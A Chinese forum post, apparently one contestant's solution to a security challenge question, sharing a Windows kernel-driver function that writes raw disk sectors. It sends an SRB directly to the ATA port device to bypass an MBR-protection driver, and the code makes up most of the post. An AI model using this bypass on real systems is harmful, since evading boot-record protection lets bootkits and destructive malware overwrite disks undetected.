大牛们都发代码了,我也来凑凑热闹吧~
3,4,5题没什么意思了,发下第一题的关键部分吧~
思路比较常规,向atapi发srb,但是过不了所谓的第二层保护。其实最早的时候是准备还原改过的DeviceObject的,代码很简单,后来以为这样做不符合题意,就换了这个复杂的代码...没想到简单的代码反而更有效,呵呵~
代码:
NTSTATUS
DiWriteDisk(IN ULONG StartSector,
IN PVOID Buffer,
IN ULONG Length)
{
NTSTATUS status;
UNICODE_STRING DriverName;
PDRIVER_OBJECT DriverObject;
PDEVICE_OBJECT Fdo;
PDEVICE_OBJECT nextDevObj;
PDEVICE_OBJECT final;
PCOMMON_DEVICE_EXTENSION commonExtension;
PIO_STACK_LOCATION nextSp;
PTRANSFER_PACKET pkt;
LARGE_INTEGER startLoc;
PUCHAR bufPtr;
KEVENT event;
PMDL Mdl;
//
// Open the device object to receive the IRP
//
RtlInitUnicodeString(&DriverName, DISK);
status = ObReferenceObjectByName(&DriverName,
OBJ_CASE_INSENSITIVE,
NULL,
0,
*IoDriverObjectType,
KernelMode,
NULL,
&DriverObject);
if (!NT_SUCCESS(status))
return status;
status = DiGetPhysicsDevice(&Fdo, DriverObject);
if (!NT_SUCCESS(status))
{
ObDereferenceObject(DriverObject);
return status;
}
//
// Lock the buffer
//
Mdl = IoAllocateMdl(Buffer, Length, FALSE, TRUE, NULL);
if (Mdl == NULL)
{
ObDereferenceObject(DriverObject);
return STATUS_INSUFFICIENT_RESOURCES;
}
MmProbeAndLockPages(Mdl, KernelMode, IoReadAccess);
bufPtr = MmGetMdlVirtualAddress(Mdl);
//
// Allocate PKT and initize it
//
pkt = ClassPnp_DequeueFreeTransferPacket(Fdo, TRUE);
if (NULL == pkt)
{
ObDereferenceObject(DriverObject);
MmUnlockPages(Mdl);
return STATUS_INSUFFICIENT_RESOURCES;
}
startLoc.QuadPart = StartSector * 512;
Mine_SetupReadWriteTransferPacket(pkt,
bufPtr,
Length,
startLoc,
IRP_MJ_WRITE,
IRP_NOCACHE | IRP_WRITE_OPERATION | IRP_DEFER_IO_COMPLETION,
SL_OVERRIDE_VERIFY_VOLUME);
//
// Initize some fields in our pkt
//
commonExtension = pkt->Fdo->DeviceExtension;
nextDevObj = commonExtension->LowerDeviceObject;
IoReuseIrp(pkt->Irp, STATUS_NOT_SUPPORTED);
nextSp = IoGetNextIrpStackLocation(pkt->Irp);
nextSp->MajorFunction = IRP_MJ_SCSI;
nextSp->Parameters.Scsi.Srb = &pkt->Srb;
pkt->Srb.ScsiStatus = pkt->Srb.SrbStatus = 0;
pkt->Srb.SenseInfoBufferLength = sizeof(SENSE_DATA);
pkt->Irp->MdlAddress = Mdl;
//
// Prepare our complete event
//
KeInitializeEvent(&event, SynchronizationEvent, FALSE);
IoSetCompletionRoutine(pkt->Irp, DiWriteIoCompletion, &event, TRUE, TRUE, TRUE);
//
// Send our TransferPacket directly down, bypass mbrprot
//
status = DiGetPortDevice(&final, nextDevObj);
if (!NT_SUCCESS(status))
goto Cleanup;
status = IoCallDriver(final, pkt->Irp);
if (STATUS_PENDING == status)
KeWaitForSingleObject(&event, Executive, KernelMode, TRUE, NULL);
status = pkt->Irp->IoStatus.Status;
Cleanup:
MmUnlockPages(Mdl);
IoFreeMdl(Mdl);
ObDereferenceObject(DriverObject);
return status;
}